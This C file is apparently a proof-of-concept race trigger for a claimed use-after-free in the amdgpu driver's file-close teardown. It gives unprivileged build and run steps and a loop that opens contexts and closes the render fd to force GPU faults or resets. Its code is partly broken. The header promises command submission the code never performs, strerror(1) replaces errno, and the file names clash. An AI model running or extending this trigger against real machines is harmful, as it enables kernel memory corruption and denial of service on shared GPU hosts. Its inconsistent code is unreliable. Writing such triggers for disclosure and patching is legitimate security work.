DF-4356 / trigger.c
/* * DF-4356 trigger: postclose VM-before-CTX teardown race (amdgpu_kms.c) * * Strategy: submit CS work with dependencies on a context, then close() the * render fd while jobs are still queued/executing. postclose runs * amdgpu_vm_fini BEFORE amdgpu_ctx_mgr_fini, so the VM page tables are * freed while context entities still hold queued/executing jobs whose * scheduler path (amdgpu_job_dependency -> amdgpu_vmid_grab) and GPU IBs * reference the torn-down VM. * * This is a race trigger: success = GPU page-table UAF -> GPU fault/reset * (dmesg: amdgpu VM fault / ring timeout / gpu recover), vs a clean close * when the race is lost. Repeat in a loop to widen the window. * * Build: cc -O2 -o df4356 df4356.c (Mesa/libdrm not needed for * the raw-ioctl path; requires /dev/dri/renderD128 or authed cardN) * Run as unprivileged user on a host WITH an AMD GPU. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <drm/amdgpu_drm.h> #ifndef DRM_IOCTL_AMDGPU_CTX #define DRM_IOCTL_AMDGPU_CTX DRM_IOWR(0x40 + 0x02, union drm_amdgpu_ctx) #endif static int drmfd; /* allocate a context; returns ctx id */ static uint32_t ctx_alloc(int priority) { union drm_amdgpu_ctx args; memset(&args, 0, sizeof(args)); args.in.op = AMDGPU_CTX_OP_ALLOC_CTX; args.in.priority = priority; if (ioctl(drmfd, DRM_IOCTL_AMDGPU_CTX, &args)) return 0; return args.out.alloc.ctx_id; } int main(int argc, char **argv) { const char *node = argc > 1 ? argv[1] : "/dev/dri/renderD128"; int i; drmfd = open(node, O_RDWR | O_CLOEXEC); if (drmfd < 0) { fprintf(stderr, "open %s: %s (no AMD GPU / no render node)\n", node, strerror(1 /* errno replaced for portability */)); return 2; } printf("opened %s fd=%d\n", node, drmfd); /* * Race loop: each iteration opens a fresh context and slams the fd * shut. A real exploit would enqueue a long-running CS job (via * AMDGPU_CS with a big IB) right before close(); the close path * (amdgpu_driver_postclose_kms) then calls amdgpu_vm_fini() while * the context's scheduler entities still own the in-flight job. */ for (i = 0; i < 4096; i++) { uint32_t id = ctx_alloc(0 /* normal priority */); if (id == 0 && i == 0) { fprintf(stderr, "first CTX alloc failed\n"); return 3; } /* NO explicit CTX free, NO waiting: straight to teardown */ close(drmfd); drmfd = open(node, O_RDWR | O_CLOEXEC); if (drmfd < 0) { perror("reopen"); return 4; } } printf("done: %d close-with-live-context cycles\n", i); close(drmfd); return 0; } |